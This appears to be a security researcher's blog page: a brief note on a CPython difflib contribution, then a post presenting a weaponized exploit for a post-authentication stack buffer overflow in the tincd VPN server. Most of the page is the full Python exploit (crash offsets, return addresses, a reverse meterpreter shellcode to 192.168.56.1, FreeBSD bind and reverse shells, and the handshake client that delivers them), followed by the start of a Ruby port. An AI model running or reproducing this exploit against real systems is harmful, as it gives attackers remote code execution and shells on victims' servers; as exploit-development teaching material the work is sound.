Python difflib SequenceMatcher quick_ratio performance contribution

Hi everyone

Once in a while I’m trying to contribute something non-security related to an Open Source project. At the moment I’m teaching Python courses and found some of my old scripts that are pretty useful. I’m trying to contribute a performance optimized difflib.SequenceMatcher.quick_ratio to CPython. It’s not decided yet if it’s going to be in the stdlib or just a Python code recipe (maybe referenced in the docs). My implementation isn’t perfect yet, as soon as there is a decision I would further work on it. If you code in Python and you have used difflib.SequenceMatcher.quick_ratio, I’d be happy if you join the discussion on the Python-Ideas mailing list or on the Python issue tracker. We need some more opinions at the moment.

cheers,
floyd

Tincd Metasploit module and exploit development

A friend of mine wrote a Proof of Concept exploit for the tincd server (a VPN software) for authenticated peers (post-auth), the original blog post about it can be found here. I turned the PoC crash into a weaponized exploit for Windows XP, Windows 7 and FreeBSD. I think very often the exploits on exploit-db.com do not contain a lot of information to reproduce the exploit development and a lot of “reversing” of “some hex bytes” is necessary to fully understand it. Therefore I provide several more detailed scripts in different programming languages with comments here. The vulnerability/my exploit/the software has the following characteristics:

  • No DEP, ASLR or other security mechanisms for the three OS. It’s the same setup file for both Windows (tinc-1.1pre6-install.exe). FreeBSD is compiled from the ports.
  • memcpy_chk protection introduced by gcc for Ubuntu. Seems to be non-exploitable (pretty sure it’s the same for Debian). gcc can easily do that because the buffer size is known at compile time.
  • Straight forward (memcpy) saved return pointer overwrite.
  • The second value on the stack when EIP is overwritten is a pointer to the start of our payload. Convenient.

I authored the exploiting part and changed the logic part to remove some issues. First, I wrote everything in python. Second, ported the entire thing to ruby with eventmachine. Then I decided to port the thing to metasploit and removed the eventmachine dependency. At that point I decided that improvements regarding reliability were necessary. The Metasploit module works for every of my test machines on the first try.

Ok, so everybody who just wants to see the outcome, go to my github page and download it. I also made a pull request and after some feedback it should end up in Metasploit (so maybe just check your Metasploit installation).

For everyone more interested in the “how”, the python script and the ruby script at the end of this post. The scripts are not as reliable, flexible, advanced, maintained and convenient as the Metasploit module. But they should provide everybody with enough information on how to exploit such a buffer overflow vulnerability.

Right now I’m writing the ROP chain for the exploitation on Fedora 19 (has NX enabled). Interesting and I’m already executing code, but not release ready yet. I hope I’ll be able to update the Metasploit module. There are so many other combinations that would be interesting too (ARM, x64, systems with ASLR…)

Happy hacking!

#!/usr/bin/env python

"""
Author of exploitation part (all platforms), changes to the original PoC crash for reliability, port from python to ruby, metasploit module: floyd <floyd at floyd dot ch>
Original PoC Author, finding: Martin Schobert <schobert at sitsec dot net>

Windows XP&7: The PoC now consists of two shellcodes, calc for XP and meterpreter for Windows 7 to 192.168.56.1:4444
That means now it's weaponized. Only tested on XP and Windows 7 with tinc-1.1pre6.

Ubuntu: A manually compiled version (1.1.pre6) on Ubuntu 12.10 with gcc 4.7.2 seems to be a non-exploitable crash, because
the bug is in a fixed size (MAXSIZE) struct member variable. Therefore the size of the destination is known 
at compile time. gcc is introducing a call to __memcpy_chk:
http://gcc.gnu.org/svn/gcc/branches/cilkplus/libssp/memcpy-chk.c
memcpy_chk does a __chk_fail call if the destination buffer is smaller than the source buffer. Therefore it will print 
*** buffer overflow detected *** and terminate (SIGABRT). The same result for tincd 10.0.19 (Jun 29 2012 14:10:44) 
which can be installed from the repository. It might be exploitable for versions compiled with an older version of gcc.
memcpy_chk seems to be in gcc since 2005: 
http://gcc.gnu.org/svn/gcc/branches/cilkplus/libssp/memcpy-chk.c
http://gcc.gnu.org/git/?p=gcc.git;a=history;f=libssp/memcpy-chk.c;hb=92920cc62318e5e8b6d02d506eaf66c160796088

FreeBSD: Exploitable, of course other eip for pop#ret, but same eip offset, tested under FreeBSD 9.1-RELEASE #0, tested with tinc version 1.0.19
from the ports.

<original comment PoC>

Unweaponized proof of concept code to demonstrate a vulnerability in the
tinc VPN software. This PoC was tested against tinc version 1.1-pre6 and
1.0.19.

http://www.sitsec.net/blog/2013/04/22/stack-based-buffer-overflow-in-the-vpn-software-tinc-for-authenticated-peers/

Author: Martin Schobert <schobert at sitsec dot net>
</original comment PoC>

July 2013, floyd <floyd at floyd dot ch> @floyd_ch
"""

import socket
import sys
import re
import os
import binascii
from Crypto.PublicKey import RSA
from Crypto.Cipher import Blowfish
from Crypto.Hash import SHA
from struct import pack
import asyncore

#
# config part
#

# host and port to attack
TCP_IP = '192.168.56.102'
TCP_PORT = 655

# The server's public key (usually from C:\Program Files\tinc\hosts\ or /usr/local/etc/tinc/testnet/hosts/ ,
# but with the config stuff removed)
server_public_key_file = 'rsa_key.pub'

# The client's private key
client_private_key_file = 'rsa_key.priv'

#target OS
target = "freebsd" #winxp (calc.exe), win7 (meterpreter/reverse_tcp lhost=192.168.56.1), freebsd (bsd/x86/shell_bind_tcp)



#
#Exploitation part WINDOWS (can be used to see Ubuntu __memcpy_chk)
#
#From original PoC
length = 1682
payload_winxp = "A"*length
#C:\Program Files\tinc>"C:\Program Files\Immunity Inc\Immunity Debugger\ImmunityDebugger.exe" "C:\Program Files\tinc\tincd.exe -D -d 5"
#!mona config -set workingfolder c:\logs\%p
#!mona pc 1682
#from C:\logs\tincd\pattern
cyclic = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce"
payload_winxp = cyclic
#!mona findmsp
#--> EIP overwritten with normal pattern : 0x64433864 (offset 1675)
offset = 1675
payload_winxp = "A"*offset + "BCDE"
#looks like second value on stack is pointing into our payload...
payload_winxp = "ABCD"+"E"*(offset-4)+"BCDE"
#removed \n from "\n"+payload in logic below from the original PoC
#so of course now we have to adjust everything we did until now:
length = 1683
offset = 1676 #original poc-offset is probably 1683 now
#search for pop; ret;
#!mona findwild -type instr -s "pop r32#ret"
#--> found 14739 pointers... so let's be very picky today:
#!mona findwild -n -cp asciiprint -type instr -s "pop r32#ret"
#--> found 348 pointers. e.g.
#0x662c4d71 : pop ebp # retn 10 | asciiprint,ascii {PAGE_EXECUTE_READ} [hnetcfg.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\hnetcfg.dll)
#0x662d3e7d : pop ebp # retn 10 | asciiprint,ascii {PAGE_EXECUTE_READ} [hnetcfg.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\hnetcfg.dll)
#0x662d6e5e : pop ebp # retn 10 | asciiprint,ascii {PAGE_EXECUTE_READ} [hnetcfg.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\hnetcfg.dll)
#0x662e1522 : pop ebp # retn 10 | asciiprint,ascii {PAGE_EXECUTE_READ} [hnetcfg.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\hnetcfg.dll)
eip = "qM,f" #"\x71\x4d\x2c\x66"
#This was just "nice to look at", but maybe it would be better to find a os-independent pointer, so we could use it for all os
#!mona findwild -o -type instr -s "pop r32#ret"
#--> found 4049 pointers. e.g.
#0x004fbd0e : pop esi # retf | startnull {PAGE_EXECUTE_READ} [tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\tinc\tincd.exe)
#0x004a0293 : pop ecx # retf 4 | startnull {PAGE_EXECUTE_READ} [tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\tinc\tincd.exe)
#0x00467de4 : pop ebx # retn 3956 | startnull {PAGE_EXECUTE_READ} [tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\tinc\tincd.exe)
#0x00480990 : pop ebx # retn 3956 | startnull {PAGE_EXECUTE_READ} [tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\tinc\tincd.exe)
#0x0051a9c3 : pop esi # retf 0bc3b | startnull {PAGE_EXECUTE_READ} [tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\tinc\tincd.exe)
#0x0051a9cb : pop esi # retf 0bc3b | startnull {PAGE_EXECUTE_READ} [tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\tinc\tincd.exe)
#0x0041caa6 : pop eax # retn | startnull {PAGE_EXECUTE_READ} [tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\tinc\tincd.exe)
#eip = "\x0e\xbd\x4f\x00" #Nope! Access violation when reading [FFFFFFFF]
#eip = "\xe4\x7d\x46\x00" #Nope! Access violation when writing to [00232B7A]
eip = "\xa6\xca\x41\x00" #works fine on XP and on Windows 7
payload_winxp = "\xcc"*offset+eip #cc for int3
#works fine, our breakpoints get hit
calc_for_xp = ("\x31\xC9"
        "\x51"
        "\x68\x63\x61\x6C\x63"
        "\x54"  
        "\xB8\xC7\x93\xC2\x77" #  this one is not really reliable, it's: MOV EAX, msvcrt.system hard coded
        "\xFF\xD0")
shellcode = calc_for_xp
payload_winxp = shellcode+"\x90"*(offset-len(shellcode))+eip



#$ ./msfvenom -p windows/meterpreter/reverse_tcp exitfunc=thread lhost=192.168.56.1 -f c
meterpreter_win7 = (
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a"
"\x05\x68\xc0\xa8\x38\x01\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10"
"\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e"
"\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56"
"\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a"
"\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6"
"\x85\xf6\x75\xec\xc3")
shellcode = meterpreter_win7
payload_win7 = shellcode+"\x90"*(offset-len(shellcode))+eip


#
#Exploitation part FREEBSD
#
#Using the windows exploit, we see that again, our eip gets executed (same offset as windows!),
#this means it's vulnerable. Used the version from ports, tinc version 1.0.19 
#(built Apr 11 2013 16:50:07, protocol 17)
#
#Reusing: offset = 1676
#Now we see that a pointer to our payload is again second on the stack. That means we need
#to find an address that points to some pop r32#ret, but this time for the freebsd version.
#It's not as easy as on windows, because we don't have something like mona findwild and gdb is
#not even correctly showing the disassembly at eip. That's why we dumped the .text part of the
#tincd binary in gdb, opened it in a hex editor and simply searched for the following bytes/opcodes
#that represent "pop r32#ret":
#58c3
#5bc3
#59c3
#5ac3
#5dc3
#5ec3
#5cc3
#5fc3
#We actually found a couple of 5dc3. We then calculated the correct address by using the
#start of the .text section plus the offset in the dumped memory. The first couple of 5dc3
#didn't work, but we found one at the following address that works very well:
eip = "\xBB\xBA\x04\x08" #eip for pop %ebp#ret for bsd --> 0x0804BABB
#so here we go:
#./msfvenom -p bsd/x86/shell_bind_tcp -f c
bind_shell_bsd = ("\x31\xc0\x50\x68\xff\x02\x11\x5c\x89\xe7\x50\x6a\x01\x6a\x02"
"\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x68\x58\xcd\x80\x89"
"\x47\xec\xb0\x6a\xcd\x80\xb0\x1e\xcd\x80\x50\x50\x6a\x5a\x58"
"\xcd\x80\xff\x4f\xe4\x79\xf6\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80")
#$ ./msfvenom -p bsd/x86/shell_reverse_tcp LHOST=192.168.56.1 -f c
reverse = ("\x68\xc0\xa8\x38\x01\x68\xff\x02\x11\x5c\x89\xe7\x31\xc0\x50"
"\x6a\x01\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x62"
"\x58\xcd\x80\x50\x6a\x5a\x58\xcd\x80\xff\x4f\xe8\x79\xf6\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x50"
"\xb0\x3b\xcd\x80")
#$ ./msfvenom -p bsd/x86/exec CMD="/usr/bin/touch /tmp/kkk" -f c
touch = (
"\x6a\x3b\x58\x99\x52\x68\x2d\x63\x00\x00\x89\xe7\x52\x68\x6e"
"\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\xe8\x18\x00\x00"
"\x00\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x74\x6f\x75\x63\x68"
"\x20\x2f\x74\x6d\x70\x2f\x6b\x6b\x6b\x00\x57\x53\x89\xe1\x52"
"\x51\x53\x50\xcd\x80")
shellcode = touch
payload_freebsd = shellcode+"\x90"*(offset-len(shellcode))+eip #pwn!








#
#Logic part
#

#NETWORK LAYER order (according to successful exploitation run monitored in wireshark):
#1. SYN, SYN/ACK, ACK - further TCP ACK's are not included
#2. ID, client PSH: "0 testnode2 17.0"
#3. ID, server PSH: "0 testnode2 17.0"
#4. Metakey, client PSH: "1 94 64 0 0 VALUE_1"
#5. Metakey, server PSH: "1 94 64 0 0 VALUE_2"
#6. Receive Challenge from server, server PSH: 515 bytes - 3f8a4c...
#7. Send Challenge to server, client PSH: 520 bytes - cdca80...
#--->9. Challenge Reply from server, server PSH: 43 bytes - d34d78...
#--->8. Challenge Reply to server, client PSH: 48 bytes - c2f415...
#--->11. ACK part1 of server, server PSH: 11 bytes - 93fdcf...
#--->10. ACK of client, client PSH: 16 bytes - 7ffca1...
#12. ACK part2 of server, server PSH: 69 bytes - e6051a...
#13. attack, client PSH: payload - 9d6a94...

#PROGRAM order (according to printing raw data before sending/after receiving - threading could get in the way of print!):
#1. SYN, SYN/ACK, ACK - further TCP ACK's are not included
#2. ID, client PSH: "0 testnode2 17.0"
#3. ID, server PSH: "0 testnode2 17.0"
#4. Metakey, client PSH: "1 94 64 0 0 VALUE_1"
#5. Metakey, server PSH: "1 94 64 0 0 VALUE_2"
#6. Receive Challenge from server, server PSH: 515 bytes - 3f8a4c...
#7. Send Challenge to server, client PSH: 520 bytes - cdca80...
#8. Challenge Reply to server, client PSH: 48 bytes - c2f415...
#9. Challenge Reply from server, server PSH: 43 bytes - d34d78...
#10. ACK of client, client PSH: 16 bytes - 7ffca1...
#11. ACK part1 of server, server PSH: 11 bytes - 93fdcf...
#12. ACK part2 of server, server PSH: 69 bytes - e6051a...
#13. attack, client PSH: payload - 9d6a94...


class TincExploitClient(asyncore.dispatcher):

    def __init__(self, host, port, server_file, client_file, payload):
        asyncore.dispatcher.__init__(self)
        self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
        self.connect((host, port))
        
        self.buffer = ''
        self.id()
        self.inbuffer = bytearray()
        
        self.payload = payload

        self.encryption_queue = [] # array of messages
        self.decryption_queue = bytearray()

        self.state = 'id'
        self.cryptomode_in = False
        
        self.bfblocksize = Blowfish.block_size
        self.key_stream = bytearray()
        
        self.client_private_key_cipher = None
        self.key_len = None
        
        self.hex_enc_key_S1 = None
        self.bf_enc_cipher = None
                
        self.initCiphers(server_file, client_file)
        
        self.bf_dec_cipher = None #gets set up when we get the server info
        
    def initCiphers(self, server_file, client_file):
        server_public_key_cipher = RSA.importKey(open(server_file).read())
        server_public_key_cipher_len =  (server_public_key_cipher.size() + 1)/8
        
        # parse client private key
        self.client_private_key_cipher = RSA.importKey(open(client_file).read())
        client_private_key_cipher_len =  (self.client_private_key_cipher.size() + 1)/8
        
        #must be same length
        assert(server_public_key_cipher_len == client_private_key_cipher_len)
        self.key_len = server_public_key_cipher_len
        
        #create random key
        key_S1 = os.urandom(self.key_len)
        print "random key: " + binascii.hexlify(key_S1)
        
        # encrypt rnd_key with rsa key
        enc_key_S1 = server_public_key_cipher.encrypt(key_S1, "")[0]
        self.hex_enc_key_S1 = binascii.hexlify(enc_key_S1)
        print "hex_enc_key_S1: " + self.hex_enc_key_S1
        
        # setup encryption
        bf_enc_key = key_S1[240:256]
        bf_enc_iv = key_S1[232:240]
        
        self.bf_enc_cipher = Blowfish.new(bf_enc_key, Blowfish.MODE_OFB, bf_enc_iv)
        
        #test cipher
        #fails: ValueError: Input strings must be a multiple of 8 in length
        #print "Testing cipher: "+self.bf_enc_cipher.encrypt("A"*10).encode("hex")
        #works:
        #print "Testing cipher: "+self.bf_enc_cipher.encrypt("A"*8).encode("hex")
        
    #
    # Helper function for byte-wise Output Feedback Mode decryption
    #
    # We use pycrypto to encrypt/decrypt data, but their OFM mode works
    # only on full blocks. The meta protocol requires encryption/decryption
    # on a byte basis. We use this helper function to decrypt incoming data
    # and add padding spaces to outgoing messages to use the default OFM
    # implementation.
    def decrypt(self, msg):
        #print "Cipher text:", str(msg).encode("hex")
        cleartext = ""
        while len(self.key_stream) < len(msg) + 8:
            ks = self.key_stream[len(self.key_stream)-8:]
            ks2 = self.bf_dec_cipher.encrypt(buffer(ks))
            self.key_stream.extend(bytearray(ks2))
        for d in msg:
            key_byte = self.key_stream.pop(0)
            cleartext += chr(key_byte ^ d)
        return cleartext
    
    def handle_connect(self):
        pass

    def handle_close(self):
        self.close()

    def handle_read(self):
        data = self.recv(8192)
        #self.receive_it(data)
        self.inbuffer += data
        
        print "waiting for %s - buffer-len=%d)" % \
            (self.state, len(self.inbuffer))

        if self.state == 'id':
            if(self.has_line()):
                print "\n++ Receive ID"
                data = self.get_line()
                print "received data: [%s]" % (data)
                self.state = 'metakey'
                self.metakey()                

        if self.state == 'metakey':
            if(self.has_line()):
                print "\n++ Receive METAKEY"
                data = self.get_line()
                print "received data: [%s]" % (data)
                data = data.split(' ')
                assert(data[0] == '1')
                hexkey_S2 = data[5].rstrip('\n')
                assert(len(hexkey_S2) == 512)
                self.enckey_S2 = binascii.unhexlify(hexkey_S2)
                key_S2 = self.client_private_key_cipher.decrypt(self.enckey_S2)

                print "key: " + binascii.hexlify(key_S2)

                # setup decryption
                bf_dec_key = key_S2[240:256]
                bf_dec_iv = key_S2[232:240]
                self.bf_dec_cipher = Blowfish.new(bf_dec_key, Blowfish.MODE_ECB)
                #global key_stream
                self.key_stream = bytearray( self.bf_dec_cipher.encrypt(bf_dec_iv))
                print "IV set"
                
                self.state = "challenge" # next expected state
                self.challenge()

        if self.state == 'challenge':
            need_len = 515
            if len(self.inbuffer) >= need_len:
                print "\n++ Receive CHALLENGE"
                data = self.pop_inbuffer_and_decrypt(need_len)
                print "Got challenge: [%s]" % (data)

                data = data.split(" ")
                assert(data[0] == "2")
                challenge2 = data[1][0:512]
                #print "Got challenge: [%s]" % (challenge2)
                challenge2 = binascii.unhexlify(challenge2)
                assert(len(challenge2) == 256)
                
                self.state = "challenge_reply"
                self.challenge_reply(challenge2)

        if self.state == 'challenge_reply':
            need_len = 43
            if len(self.inbuffer) >= need_len:
                print "\n++ Receive CHALLENGE REPLY"
                data = self.pop_inbuffer_and_decrypt(need_len).encode("hex") #"".join(map(chr, self.pop_inbuffer(need_len)))
                #data = self.decrypt(data)
                print "Got challenge reply: " + data
                self.state = "ack"
                self.ack()

        if self.state == 'ack':
            need_len = 12
            if len(self.inbuffer) >= need_len:
                data = self.pop_inbuffer_and_decrypt(need_len).encode("hex") #"".join(map(chr, self.pop_inbuffer(need_len)))
                #data = self.decrypt(self.bf_dec_cipher, data)
                print "Got ack: " + data
                self.overflow()


    def writable(self):
        return ((len(self.buffer) > 0) or (len(self.encryption_queue) > 0))
        
    #def send_it(self, buffer):
    #    print "####SENDING BUFFER: "+buffer.encode("hex")
    
    #def receive_it(self, buffer):
    #    print "####RECEIVING BUFFER: "+buffer.encode("hex")

    def handle_write(self):

        # send data
        #self.send_it(self.buffer)
        sent = self.send(self.buffer)
        self.buffer = self.buffer[sent:]
        print "send %d bytes (crypto-queue-len=%d msg,buffer-len=%d)" % (sent, len(self.encryption_queue), len(self.buffer))

        # handle encryption queue
        if len(self.encryption_queue) > 0:

            msg = self.encryption_queue.pop(0)
            print msg
            self.buffer += self.bf_enc_cipher.encrypt(msg)

        print "encryption-queue len: %d messages" % (len(self.encryption_queue))

        # send data
        #self.send_it(self.buffer)
        sent = self.send(self.buffer)
        self.buffer = self.buffer[sent:]
        print "send %d bytes (crypto-queue-len=%d msg,buffer-len=%d)" % (sent, len(self.encryption_queue), len(self.buffer))

    def pop_inbuffer(self, size):
        data = self.inbuffer[:size]
        self.inbuffer = self.inbuffer[size:]
        return data
    
    def pop_inbuffer_and_decrypt(self, size):
        data = self.inbuffer[:size]
        self.inbuffer = self.inbuffer[size:]
        data = self.decrypt(data)
        return data

    def get_line(self):
        idx = self.inbuffer.index('\n')
        data = self.inbuffer[:idx]
        self.inbuffer = self.inbuffer[idx+1:]
        return data

    def has_line(self):
        if '\n' in self.inbuffer:
            return True
        else:
            return False
    
    def id(self):
        print "\n++ Send ID"
        msg = "0 testnode2 17.0\n".replace("testnode2","home")
        print "id msg len: %d" % (len(msg))
        self.buffer += msg

    def metakey(self):
        print "\n++ Send METAKEY"
        msg = "1 94 64 0 0 %s\n" % (self.hex_enc_key_S1)
        print "metakey msg len: %d" % (len(msg))
        self.buffer += msg

    def challenge(self):
        print "\n++ Send CHALLENGE"
        challenge = os.urandom(self.key_len)
        msg = "2      %s\n" % (binascii.hexlify(challenge))
        self.encryption_queue.append(msg)

    def challenge_reply(self, challenge2):
        print "\n++ Send CHAL_REPLY"
        h = SHA.new()
        h.update(challenge2)
        msg = "3      %s\n" % (h.hexdigest().upper())
        self.encryption_queue.append(msg)

    def ack(self):
        print "++ Send ACK"
        self.encryption_queue.append("4 %d 123 0    \n" % (TCP_PORT))

    def overflow(self):
        print "++ Peng"
        buffer = self.payload #"\n" + payload #--> removed the \n so we can directly jump to second value on stack
        msg = "17 %d\n%s" % (len(buffer), buffer)

        plen = self.bfblocksize - divmod(len(msg),self.bfblocksize)[1]
        msg += 'B' * plen # append padding
        self.encryption_queue.append(msg)

payload = payload_winxp
if target.lower() == "win7":
    payload = payload_win7
elif target.lower() == "freebsd":
    payload = payload_freebsd
client = TincExploitClient(TCP_IP, TCP_PORT, server_public_key_file, client_private_key_file, payload)
asyncore.loop()

And here we go with the Ruby version:

=begin
Author of exploitation part (all platforms), changes to the original PoC crash for reliability, port from python to ruby, metasploit module: floyd <floyd at floyd dot ch>
Original PoC Author, finding: Martin Schobert <schobert@sitsec.net>

Windows XP&7: The PoC now consists of two shellcodes, calc for XP and meterpreter for Windows 7 to 192.168.56.1:4444
That means now it's weaponized. Only tested on XP and Windows 7 with tinc-1.1pre6.

Ubuntu: A manually compiled version (1.1.pre6) on Ubuntu 12.10 with gcc 4.7.2 seems to be a non-exploitable crash, because
the bug is in a fixed size (MAXSIZE) struct member variable. Therefore the size of the destination is known 
at compile time. gcc is introducing a call to __memcpy_chk:
http://gcc.gnu.org/svn/gcc/branches/cilkplus/libssp/memcpy-chk.c
memcpy_chk does a __chk_fail call if the destination buffer is smaller than the source buffer. Therefore it will print 
*** buffer overflow detected *** and terminate (SIGABRT). The same result for tincd 10.0.19 (Jun 29 2012 14:10:44) 
which can be installed from the repository. It might be exploitable for versions compiled with an older version of gcc.
memcpy_chk seems to be in gcc since 2005: 
http://gcc.gnu.org/svn/gcc/branches/cilkplus/libssp/memcpy-chk.c
http://gcc.gnu.org/git/?p=gcc.git;a=history;f=libssp/memcpy-chk.c;hb=92920cc62318e5e8b6d02d506eaf66c160796088

FreeBSD: Exploitable, of course other eip for pop#ret, but same eip offset, tested under FreeBSD 9.1-RELEASE #0, tested with tinc version 1.0.19
from the ports. Manually calculated offset of a pop#ret with offset in tincd binary.

<original comment PoC>

Unweaponized proof of concept code to demonstrate a vulnerability in the
tinc VPN software. This PoC was tested against tinc version 1.1-pre6 and
1.0.19.

http://www.sitsec.net/blog/2013/04/22/stack-based-buffer-overflow-in-the-vpn-software-tinc-for-authenticated-peers/

Author: Martin Schobert <schobert@sitsec.net>
</original comment PoC>

=end


require 'securerandom'
require 'openssl'
require 'digest/sha1'
require 'eventmachine'

#
# config
#

# host to attack
TCP_IP = "192.168.56.102"
TCP_PORT = 655

# The server's public key (usually from C:\Program Files\tinc\hosts\ or /usr/local/etc/tinc/testnet/hosts/),
# but with the config stuff removed
server_public_key_file = "rsa_key.pub"

# The client's private key
client_private_key_file = "rsa_key.priv"

#target OS
target = "freebsd" #winxp (calc.exe), win7 (meterpreter/reverse_tcp lhost=192.168.56.1), freebsd (bsd/x86/shell_bind_tcp)




#
